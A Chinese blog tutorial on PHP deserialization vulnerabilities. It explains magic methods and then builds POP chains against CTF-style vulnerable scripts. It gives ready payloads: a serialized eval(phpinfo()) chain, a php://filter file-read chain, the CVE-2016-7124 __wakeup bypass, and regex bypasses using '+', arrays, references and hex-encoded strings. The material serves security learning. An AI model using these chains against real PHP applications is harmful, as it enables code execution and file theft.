php反序列化学习(一)

尘埃拂身,终归洁净之道;莲出淤泥,亦能不染自身。

参考《php反序列化漏洞教程》从零到精通2023超详细版 (完整版)_哔哩哔哩_bilibili

面向对象

面向过程是以事件为中心,按照我们编写我的代码时根据完成一个又一个的步骤的过程来进行

 面向对象是以对象为中心。先把要完成的功能封装成一个一个的对象,通过调用对象的方法或属性来完成功能。

 优缺点:

面向对象:优点:不仅关注眼前的实践实现,也关注未来可能发生的事件。具有高度的拓展性和复用性,特点是继承、封装、多态。

                缺点:如果只是单一的功能实现,面向对象的设计思路会较为繁琐

面向过程:优点:根据事情的目的分解出过程,再一步步实施。对于不复杂的事件执行效率快。

                  缺点:只关注眼前事件的实现,开发复杂功能的时候繁琐。

类:一组具有相似特征的行为的对象的抽象描述。他定义了对象所具有的属性(成员变量)和行为(方法),是创建对象的模板或蓝图。类是抽象的,不占用内存空间,他只是对对象的描述。

对象:类的实例化结果,是类的具体实体。它具有类所定义的属性和行为,并且可以再程序中被直接使用。对象是具体的,占用内存空间。  

魔术方法

php的模数方法是一组特殊的方法,以双下划线(__)开头和结束命名的。

它们再对象的生命周期中被自动调用,,用于执行特定的操作。这些魔术方法可以让开发者更好地控制和定制对象地行为。

__construct(), 类的构造函数,创建对象时进行初始化操作

__destruct(),   类的析构函数,在对象被销毁(即失去对对象的所有引用)之前执行一些清理操作

__call(),            在对象中调用一个不可访问或不存在方法时调用

__callStatic(),  调用一个不可访问或不存在的静态方法时调用

__get(),            访问一个对象的不可访问或不存在属性时调用

__set(),            对不可访问属性进行赋值时调用

__isset(),         当对不可访问或不存在属性调用isset()或empty()时调用

__unset(),       当对不可访问或不存在属性调用unset()时被调用。

__sleep(),        执行serialize()之前,先会调用这个函数

__wakeup(),   执行unserialize()之后调用这个函数

__toString(),   类被当成字符串时的回应方法

__invoke(),     用于将一个对象作为函数直接调用时的行为定义。

__set_state(),设置对var_export() 函数所产生的字符串的进行反序列化操作时行为。

__clone(),       当clone 关键字复制一个对象时调用

__autoload(), 尝试加载未定义的类

__debugInfo(),   打印所需调试信息

__construct():

对象初始化

class people{
    public $name;
function __construct($name)
{
    $this->name=$name;
}
    }
    $lili=new people('lili');
    print_r($lili);

__destruct()

作用:在对象生命周期结束之前执行一些必要的清理操作,如释放资源、关闭数据库连接、保存对象状态等。

调用时机:对象被销毁时(php垃圾回收机制:脚本结束自动销毁对象)

传递参数:不可设置

返回值:无

class people{
    public $name;
function __destruct()
{
    echo '对象已被销毁';
    echo '<br/>';
}

    }
    //第一次
    $lili=new people();
    //第二次
    // 要点序列化之后形成了对象,也会触发_destruct函数
    unserialize(serialize($lili));

__call()

函数作用:处理对象中不存在的方法的调用。

调用时机:调用一个不存在或不可访问的方法时。

传递参数:$method:被调用的方法名(字符串类型)。 $arguments:传递给该方法的参数列表(数组类型)。

返回值:自由定义返回值。

class people{
    public $name;
    public function  __call($method, $arguments)
    {
        echo "不存在方法:$method";
        echo '<br/>';
        echo implode('; ', $arguments).' 的参数无效';//impode将数组$arguments每一个数以分号隔开
    }
    }
    $lili=new people();
    $lili->speak('我叫lili','今年18岁');

因为调用了一个不存在的方法,所以触发了__call方法。

当我们加上可访问的speak方法时

class people{
    public $name;
    public function  __call($method, $arguments)
    {
        echo "不存在方法:$method";
        echo '<br/>';
        echo implode('; ', $arguments).' 的参数无效';//impode将数组$arguments每一个数以分号隔开
    }

    function speak(){
        echo "123";
    }
    }
    $lili=new people();
    $lili->speak();

 

但当我们访问不可访问的函数时,

class people{
    public $name;
    public function  __call($method, $arguments)
    {
        echo "不存在方法:$method";
        echo '<br/>';
        echo implode('; ', $arguments).' 的参数无效';//impode将数组$arguments每一个数以分号隔开
    }
    private function speak(){
        echo "123";
    }
    }
    $lili=new people();
    //$lili->speak('我叫lili','今年18随');
    $lili->speak();

 

就要触发__call函数了

__callStatic

函数作用:在调用一个不存在的静态方法时提供一个统一的处理逻辑使其不会导致错误。

调用时机:调用一个不存在或不可访问的静态方法时

传递参数:$method:被调用的静态方法名(字符串类型)。

                $arguments:传递给该方法的参数列表(数组类型)。

返回值:自由定义返回值

class people{
public $name;
private function  __callStatic($method, $arguments)
{
    echo "不存在静态方法:$method";
    echo '<br/>';
    echo implode('; ', $arguments).' 的参数无效';
}
}
$lili=new people();
$lili::speak("我叫lili","今年18岁");

当然private的方法也不可访问。

class people{
public $name;
private function  __callStatic($method, $arguments)
{
    echo "不存在静态方法:$method";
    echo '<br/>';
    echo implode('; ', $arguments).' 的参数无效';
}
private static function speak(){
    echo '123';
}
}
$lili=new people();
$lili::speak();//静态方法用::调用

 

__get()

函数作用:在访问一个对象的不存在或不可访问的属性时提供一个统一的处理逻辑使其不会导致错误。

调用时机:访问一个对象的不存在或不可访问的属性时。

传递参数:$name:被访问的属性的名称

返回值:自由定义返回值

class people{
    public $name;
    private $age;
 function __get($name)
 {
    echo "$name 属性不可访问或者不存在<br/>";
 }
    }

    $lili=new people();
    $lili->age;//访问不可访问的属性age
    $lili->height;//访问不存在的属性height

__set()

函数作用:在设置一个对象的不存在或不可设置的属性时提供一个统一的处理逻辑使其不会导致错误。

调用时机:在设置一个对象的不存在或不可设置的属性时。

传递参数:$name :属性名称  $value:设置的属性的值

返回值:通常无返回值

class people{
    public $name;
    private $age;
function __set($name, $value)
{
    echo "$name 属性不可设置所以:'$value'值无效<br/>";
}
    }

    $lili=new people();
  $lili->height='156cm';
  $lili->age=20;

 

__isset()

函数作用:检查一个对象的不存在或不可访问的属性时提供一个统一的处理逻辑使其不会导致错误。(检查一个属性是否被设置了)

调用时机:检查一个对象的不存在或不可访问的属性时

传递参数:$name :属性名称

返回值:通常返回一个布尔值(true/false)

class people{
    public $name='lili';
    public $age;
    public function __isset($name) {
    echo "<br/>$name 不存在或无法访问所以没有设置";
    }
    }
    $lili=new people();
    var_dump(isset($lili->name));  //var_dump输出存在name的值,true
    isset($lili->height); //用isset来判断有没有这个值时,就会触发__isset属性
    empty($lili->height); //用empty检查是否为空时,也会触发__isset属性

__unset()

函数作用:销毁对象中未定义的属性时执行自定义的操作

调用时机:unset() 函数尝试删除对象的不存在或不可访问属性时自动触发

传递参数:$name :被销毁属性名称

返回值:无

class people{
    public $name='lili';
    private $age=19;
    public function __unset($name) {
        echo "无法删除或不存在属性: $name <br/>";
        // 在这里可以添加自定义的逻辑操作
    }
    }
    $lili=new people();
    unset($lili->age);
    unset($lili->height);

 

总结

__sleep()

函数作用:用于指定哪些对象属性需要在序列化时被保存

调用时机:在对象被序列化之前

传递参数:无

返回值:返回需要被序列化的属性名的数组

class people{
    public $name='lili';
    public $age=19;
    public function __sleep()
    {
        return ['name'];
    }
    }
    $lili=new people();
    echo serialize($lili);

__wakeup()

函数作用:于指定在对象反序列化时需要执行的操作

调用时机:反序列化之后

传递参数:无

返回值:无 

class people{
    public $name='lili';
    public $age=19;
    public function __wakeup()
    {
        $this->age=20;
    }
 
    }
    $lili=new people();
    $a=serialize($lili);
    echo $a;
    echo '<br/>';
    print_r(unserialize($a));

 

__toString()

函数作用:用于指定再对象反被当作字符串调用时需要执行的操作

调用时机:对象被隐式的转换成字符串时自动触发

传递参数:不接受传递参数

返回值:必须返回一个字符串。

class people{
    public $name='lili';
    public $age=19;
    public function __toString()
    {
        return "我是lili";//必须返回一个字符串
    }
    }

    $lili=new people();
   
    echo $lili;//echo输出字符串,这是把$lili这个对象当作字符串时调用__toString()

__invoke()

函数作用:当一个对象被当作函数调用时,所执行的函数

调用时机:被作为函数调用时自动触发

传递参数:任意参数

返回值:任何类型

class people{
    public $name='lili';
    public $age=19;
    public function __invoke($name)
    {
        echo '我叫:'.$name;
    }
    }
    $lili=new people();

    $lili('丽丽');//将对象当做一个函数

__set_state()

函数作用:方法用于指定对象从字符串形式恢复为PHP代码时的行为。它被用于var——export()函数所产生的字符串输出的反序列化操作。

调用时机:eval()函数对对象字符串转化为原始对象后。

传递参数:$data:对象的属性数组

返回值:最好返回一个对象的实例

class people{
    public $name='lili';
    public $age=19;

    public static function __set_state($data) {
        echo "<br/> __set_state被调用:";
        // 输出对象的属性数组
        print_r($data) ;
        echo "<br/>";
        $lili=new people();
        return $lili;
        
    }
    
    }

    $lili=new people();
    $b = var_export($lili, true);
    echo $b;
    // 将导出的字符串转换为对象
    eval('$c = ' . $b . ';');

    echo $c->name;

__clone()

函数作用:在对象被克隆时提供一个修改克隆副本的机会。

调用时机:使用clone()关键字对一个对象进行克隆操作时

传递参数:无

返回值:不需要

class people{
    public $name='lili';
    public $age=19;
    public $clone='我lili是本体';

    function __clone()
    {
        $this->clone='这个是克隆对象';

    }
    
    }

    $lili=new people();
    $lili2=clone $lili;

    echo $lili->clone;
    echo '<br/>';
    echo $lili2->clone;

__autoload

函数作用:PHP引擎尝试实例化一个未定义的类时,动态加载类文件

调用时机:尝试使用一个未定义的类时

传递参数:$name:类名

返回值:不需要

    function __autoload($name)
    {
      echo "没有$name 这个类哦~";

    }
    
   $lili=new people();

 

__duginfo()

函数作用:自定义对象在被调试的输出,可以控制对象在使用var_dump()函数时打印的信息。

调用时机:在使用 var_dump() 函数或调试时自动调用。

传递参数:无

返回值:返回一个数组,其中包含要在调试输出中显示的属性和其对应的值。

class people{
    public $name='lili';
    public $age=19;
    function __debugInfo(){
        return ['a'=>'啊哈哈哈'];
    }
    
    }
    $lili=new people();
    var_dump($lili);

POP学习

pop链构造技巧:

1.简单浏览:找出可能的漏洞点。

注意一写容易触发漏洞的函数:eval、include

2.根据漏洞点反推:看逻辑是否可行、参数是否可写入、魔术方法是否能触发、条件是否可达成)

一般先找注入点,判断注入需要的参数,然后找到包含执行注入的函数(一般就是魔术方法),再找到执行此函数的条件a,判断条件a是否可以满足,然后再找执行条件a需要满足的条件b,依次找下去直到不需要再找需要满足的条件即可。

3.最后构造poc验证

构造的时候根据上一步找到条件最好从后往前构造,并且要找正确触发魔术方法的究竟是谁($this指的是谁

例题:

class  test{
    private $index;
    
    function __construct()
    {
        $this->index=new index();
    }
    function __destruct()
    {
        $this->index->hello();
    }
}
class index{
    public function hello(){
        echo 'hello ~~';
    }
}
class execute{
    public  $test;
    function hello(){
        eval($this->test);
    }
}
if(isset($_GET['test'])){
    @unserialize($_GET['test']);
    highlight_file(__FILE__);
}
else{
    $a=new test;
}

1.找到漏洞点 eval($this->test);,要满足这注入点就要执行execute中的hello函数。

2.要执行hello函数,就要让test类的__destruct触发,并且让__construct里的$index=new execute();

3.构造pop链:

<?php
class  test{
    private $index;
    
    function __construct()
    {
        $this->index=new execute();
	}
}
class execute{
    public  $test="phpinfo();";

}
$a=new test();
echo urlencode(serialize($a));//因为$index时private的所以要用urlecxode
?>

O%3A4%3A%22test%22%3A1%3A%7Bs%3A11%3A%22%00test%00index%22%3BO%3A7%3A%22execute%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

注意:不能直接写成这样

class  test{
    private index=new execute();
}

练习1:

class Modifier {
    protected  $var;
    public function append($value){
        include($value);//漏洞函数
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

1.找到漏洞函数include再append()里。要触发apend()函数就要触发__invoke()。

2.__invoke出发的条件是把对象当作函数来调用。继续找到了Test类中的__get方法里把返回$function(),而function又指向了$p,所以让$p=new Modifier()就行了。

3.想要触发Test类里的__get方法就要让Test的对象访问不存在或不可访问的属性。

4.然后就找到了Show类中的__toString方法里的$this->str->source;使$str=new Test() $source为Test对象不可访问的属性。

5.要触发__toString()方法就要让Show的对象作为字符串。而Show类里的__wakeup()方法里的preg_match()方法正好把$source当作一个字符串。所以可以使source=new Show();

6.触发__wakeup的条件是反序列化Show对象。

所以pop链为__wakeup——__toString——__get——__invoke——append

构造pop:

class Modifier {
	protected  $var="flag.php"; #include函数使用为协议读取文件
// protected  $var="php://filter/read=convert.base64-encode/resource=flag.php"; 
}

class Test{
    public $p;	
}

class Show{
    public $source;
    public $str;
    //将另一个对象赋值给属性需要使用构造函数。
    public function __construct(){
        $this->str =new Test();
    }
}   

$a = new Show();//此时source(show)->str
$a->source = new Show();//source(show)->str之后触发_tostring然后访问source(test)触发__get()
$a->source->str->p = new Modifier();//__get返回的p触发__invoke
echo urlencode(serialize($a));

一些绕过操作

输出类的原有属性

<?php 
class test{
    public $flagersdcxzertt= 'flag:{hellowordhhh}';

};
$a=new test();
// echo (serialize($a));
var_dump(unserialize($_GET['test']));
// O:4:"test":1:{s:1:"f";s:1:"f";}
highlight_file(__FILE__);
?>

当我们不知道类中有哪些属性时,我们可以随便构造一个o:4:"test":1:{s:1:"f";s:1:"f";}

注意构造:属性名于属性值相同。

进行传参: 

当序列化字符串不包含原先属性且语法正确的情况下,反序列化会输出类中原有的其他属性

序列化同属性值覆盖

<?php 
class people{
    public $name='lili';
    public $age='20';


}
echo serialize(new people());
// O:6:"people":3:{s:4:"name";s:4:"lili";s:3:"age";s:2:"20";s:4:"name";s:6:"天欣";}
// O:6:"people":2:{s:4:"name";s:4:"lili";s:4:"name";s:6:"天欣";}
var_dump(unserialize($_GET['test']));
highlight_file(__FILE__);
// echo 'O:6:"people":2:{s:4:"name";s:4:"lili";s:4:"name";s:6:"天欣";}';
// var_dump(unserialize('O:6:"people":2:{s:4:"name";s:4:"lili";s:4:"name";s:6:"天欣";}'))
// 序列化属性可覆盖,汉字的一个字节长度为3

?>

序列化字符串出现重复的属性和值,后者会覆盖原先的值。

传入O:6:"people":3:{s:4:"name";s:4:"lili";s:3:"age";s:2:"20";s:4:"name";s:6:"天欣";}时

覆盖了原有的属性值

当传入:O:6:"people":3:{s:4:"name";s:4:"lili";s:4:"name";s:6:"天欣";}时

当序列化字符串不包含原先属性且语法正确的情况下,反序列化会输出类中原有的其他属性

绕过__wakeup函数(CVE-2016-7124)

__wakeup()魔术方法在执行unserialize()时,会有优先调用这个函数,而不会执行__construct()函数

绕过方法:序列化字符串中表示对象属性个数的值为大于真实的属性个数时会跳过__wakeup

的执行。

漏洞影响版本:php5<5.6.25  php7<7.0.10

<?php 

header('Content-Type: text/html; charset=utf-8');
class user{

    public $username;
function __wakeup()
{
    echo '<br/>触发了__wakeup()';

}
function __destruct()
{
    echo '<br/>触发了 __destruct()';
}
}
$a=unserialize($_GET['user']);
var_dump($a);
highlight_file(__FILE__);
// O:4:"user":1:{s:8:"username";s:5:"admin";}
?>

 当传入?user=O:4:"user":1:{s:8:"username";s:5:"admin";}时

反序列化先触发了wakeup函数,在执行var_dump,最后才触发__destruct()

 当我们传入user=O:4:"user":2:{s:8:"username";s:5:"admin";}时

反序列化之后直接触发了__destruct

例题:
<?php 
header('Content-Type: text/html; charset=utf-8');
class open{

    public $file='index.php';
function __wakeup()
{
    $this->file='index.php';

}
function __destruct()
{
   include($this->file);
}
}

if(isset($_GET['open']))
{
    $a=unserialize($_GET['open']);
}
else{
    $b=new open();
}
highlight_file(__FILE__);
// O:4:"open":1:{s:4:"file";s:8:"flag.php";}
?>

传入open=O:4:"open":2:{s:4:"file";s:8:"flag.php";}即可

__destruct()强制触发

<?php
header('Content-Type: text/html; charset=utf-8');
class test{
    public $i;
function __construct($i) {$this->i = $i; }
function __destruct() { echo $this->i."被销毁...\n"; }
}
// 直接new对象会被销毁;
new test('1');
$a = new test('2');
// 给一个对象变量重新赋值之前的对象会被销毁。
$a = 1;
// 正常的实例对象会在脚本运行结束自动销毁
$a=new test('3');
//使用unset也可以手动删除对象从而触发
unset($a);
$a=new test('4');
echo "<br/>—————脚本结束——————<br/>"; 
highlight_file(__FILE__);
?>

 

例题:

<?php
header('Content-Type: text/html; charset=utf-8');
class test {
    public $p=1;
    function __destruct()
{
        echo 'flag:{_Sdw-_wds s}';
    }
}
if (isset($_GET['input'])) {
    $a = unserialize($_GET['input']);
    //抛出错误强制终止程序
   throw new Exception('stop');
}
// $a = new test();
// echo serialize($a);
// O:4:"test":1:{s:1:"p";i:1;}
// print_r(unserialize('a:2:{i:0;O:4:"test":0:{}i:1;N;}'));
// echo serialize(array(new test(),'2'));
// a:2:{i:0;O:4:"test":1:{s:1:"p";i:1;}i:0;N;}
highlight_file(__FILE__);
?>

这题思路就是给一个对象变量重新赋值之前的对象变量。会强制触发。

因为序列化的时候是从左到右依次进行,我们先将数组的arry[0]赋值为test实例再将原来序列化字符串的arry[1]的角标改为0,使其后面的值覆盖掉arry[0]的test实例达到强制触发__destruct

绕过特定正则:

如preg_match(’/^0:\d+/‘)匹配序列化字符串是否是对象字符串开头。

’/^0:\d+/‘ 是一个正则表达式模式,用于匹配以“0:”开头后面跟一个或多个数字的字符串。

^表示匹配字符串的开始位置。

0:匹配字面值为“0:"。

\d+匹配一个或多个数字。

绕过方法:1.利用加号绕过(注意再url里传参时+要编码为%2B)。

如:O:+4:"open":2:{s:4:"file";s:8:"flag.php";}

2.利用数组对象绕过,如serialize(array($a));a为要反序列化的对象(序列化结果开头时a,不影响作为数组元素的$a的析构)。

<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
class test{
    public $a= 'flag:{hellowordhhh}';
  
    public function  __destruct(){
        echo $this->a;
    }
}
 
function match1($data){
    if (preg_match('/^O:\d+/',$data)){
        die('byebye');
    }else{
        return $data;
    }
}
$a = 'O:+4:"test":1:{s:1:"b";s:3:"abc";}';
// +号绕过在高版本php不可行
unserialize(match1($a));
// 将对象放入数组绕过 serialize(array($a));这个在较高版本php可行
// unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

?>

利用引用实现严格等于

class test {
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'aaa';
    }
    public function __destruct(){
 
        if($this->a === $this->b) {
           include('flag.php');
        }
    }
}
if(isset($_REQUEST['input'])) {
    if(preg_match('/aaa/', $_REQUEST['input'])) {
       echo 'failed';
    }
    unserialize($_REQUEST['input']);
}else {
    highlight_file(__FILE__);
}

过滤了aaa所以我们直接输入是不可以的,但是我们可以通过php的引用来引用a属性的地址值,使得$b和$a地址相同进而使得值相等。这时我们可以构造 $this->b=$this->a,使b的地址与a的地址形同

16进制绕过:


// class test {
//     public $a='aaa';
//     public $b;
//     public function __construct(){
//         $this->b ='aaa';
//     }
// }
// // var_dump(new test());
// $a = serialize(new test());
// // echo $a;

// echo urlencode('O:4:"test":2:{s:1:"a";s:3:"aaa";s:1:"b";S:3:"a\\61a";}');
// O:4:"test":2:{s:1:"a";s:3:"aaa";s:1:"b";R:2;}

// 把字符串类型的s改成大写的S之后,可以使用16进制绕过正则,注意要url编码之后再传参数
// O:4:"test":2:{s:1:"a";s:3:"aaa";s:1:"b";S:3:"a\\61a";}//\61为16进制的a 第一个\为转义字符

// O%3A4%3A%22test%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A3%3A%22aaa%22%3Bs%3A1%3A%22b%22%3BS%3A3%3A%22a%5C61a%22%3B%7D

把字符串类型的s改成大写的S之后,可以使用16进制绕过正则,注意要url编码之后再传参数

当通过浏览器去访问时,浏览器会自动把S转换为小写,所以我们要使用url编码后的

例题:

<?php
class test{
    public $username;
    public function __construct(){
        $this->username = 'admin';
    }
    public function  __destruct(){
        include('flag.php');
    }
}
function check($data){
    if(preg_match('/username/', $data)){
        echo("failed!!!</br>");
    }
    else{
        return $data;
    }
}
// 未作处理前,会被拦截
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
$a = 'O:4:"test":1:{S:8:"u\\73ername";S:5:"\\61dmin";}';
// s要大写,在序列化字符串当中会被当作十六进制解析
var_dump(unserialize($a));

  • 19
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
### 回答1: PHP 反序列化是一种常见的安全漏洞,攻击者可以利用这个漏洞来执行恶意代码或者控制 Web 应用程序。要学习 PHP 反序列化,您可以按照以下步骤进行: 1.了解序列化和反序列化的基本概念。序列化是将对象转换为字符串的过程,反序列化则是将字符串转换为对象的过程。在 PHP 中,可以使用 serialize() 和 unserialize() 函数进行序列化和反序列化。 2.学习 PHP 反序列化的原理和技术。了解攻击者是如何利用反序列化漏洞来执行恶意代码的,以及如何使用一些工具和技术来发现和利用这些漏洞。 3.掌握 PHP 反序列化的实际操作。可以通过创建漏洞靶场或者参加 CTF 活动来进行实践,学习如何编写和利用反序列化漏洞的利用代码。 4.学习防御 PHP 反序列化漏洞的方法。了解一些常见的防御技术和最佳实践,以减少应用程序受到攻击的风险。 在学习 PHP 反序列化时,建议您选择一些优质的在线资源、书籍、博客或者论坛来学习,例如 OWASP 和 PHP 官方文档。此外,也可以加入一些安全社区或者参加一些培训课程,与其他安全从业者交流和学习经验。 ### 回答2: 学习PHP反序列化的过程可以分为以下几个步骤: 1.了解反序列化的概念:了解反序列化是将已经序列化的数据重新转换为原始的数据结构的过程。在PHP中,通过反序列化可以将序列化的对象还原为PHP对象。 2.学习序列化和反序列化的基本语法:了解PHP中的序列化函数`serialize()`和反序列化函数`unserialize()`的基本用法和语法。 3.检查可反序列化的数据源:了解在PHP中可以被反序列化的数据源有哪些,例如字符串、文件等。同时要注意在反序列化时,要确保数据源的可靠性,避免恶意数据的注入。 4.了解PHP对象的序列化和反序列化学习如何将PHP对象序列化为字符串,以及如何将序列化的字符串反序列化PHP对象。要了解序列化和反序列化的规则和约束,以确保数据的完整性和可用性。 5.研究PHP反序列化的安全问题:反序列化在应用中有一定的安全风险,因为恶意的序列化数据可以导致代码执行漏洞。学习安全的反序列化技术,了解如何避免和防范反序列化攻击。 6.通过实际练习提升技能:通过实践,结合自己的开发经验,写一些简单的反序列化代码,并且测试不同的反序列化情况,加深对反序列化的理解和掌握。 7.学习相关的安全工具和技术:掌握一些常用的PHP反序列化漏洞检测工具和安全技术,以提高对反序列化漏洞的识别和修复能力。 总之,学习PHP反序列化需要理解概念、语法和安全问题,并通过实践不断提升自己的技能。通过不断学习和实践,可以掌握PHP反序列化的使用和安全开发技巧。 ### 回答3: PHP反序列化是指将序列化后的数据重新还原成原始的PHP对象或数组的过程。学习PHP反序列化主要需要掌握以下几个步骤: 1. 了解序列化和反序列化的概念:序列化是将PHP对象或数组转换成字符串的过程,而反序列化则是将字符串还原成原始对象或数组的过程。了解这两个概念对于学习PHP反序列化非常重要。 2. 了解PHP的序列化函数:PHP提供了一些序列化函数,如serialize()函数和unserialize()函数。serialize()函数用于将PHP对象或数组转换成字符串,unserialize()函数则用于将字符串还原成原始对象或数组。 3. 学习序列化格式:PHP的序列化格式是特定的,掌握序列化格式对于理解反序列化非常重要。其中,序列化的格式可以通过序列化函数生成的字符串来进行分析,了解其中的规律和特点。 4. 学习反序列化漏洞:了解反序列化漏洞是学习PHP反序列化的重要一环。反序列化漏洞是指恶意用户通过在反序列化时植入恶意代码来实现攻击的一种漏洞。了解反序列化漏洞的原理及如何预防和修复是学习PHP反序列化的关键。 5. 实践练习:通过编写PHP代码来进行反序列化的实践练习是学习的重要环节。可以尝试使用serialize()函数将PHP对象或数组序列化,并使用unserialize()函数将序列化后的字符串反序列化,验证反序列化是否成功。 总之,学习PHP反序列化需要了解序列化和反序列化的概念、掌握PHP的序列化函数、学习序列化格式、了解反序列化漏洞以及进行实践练习。通过不断学习和实践,可以提高对PHP反序列化的理解和应用能力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值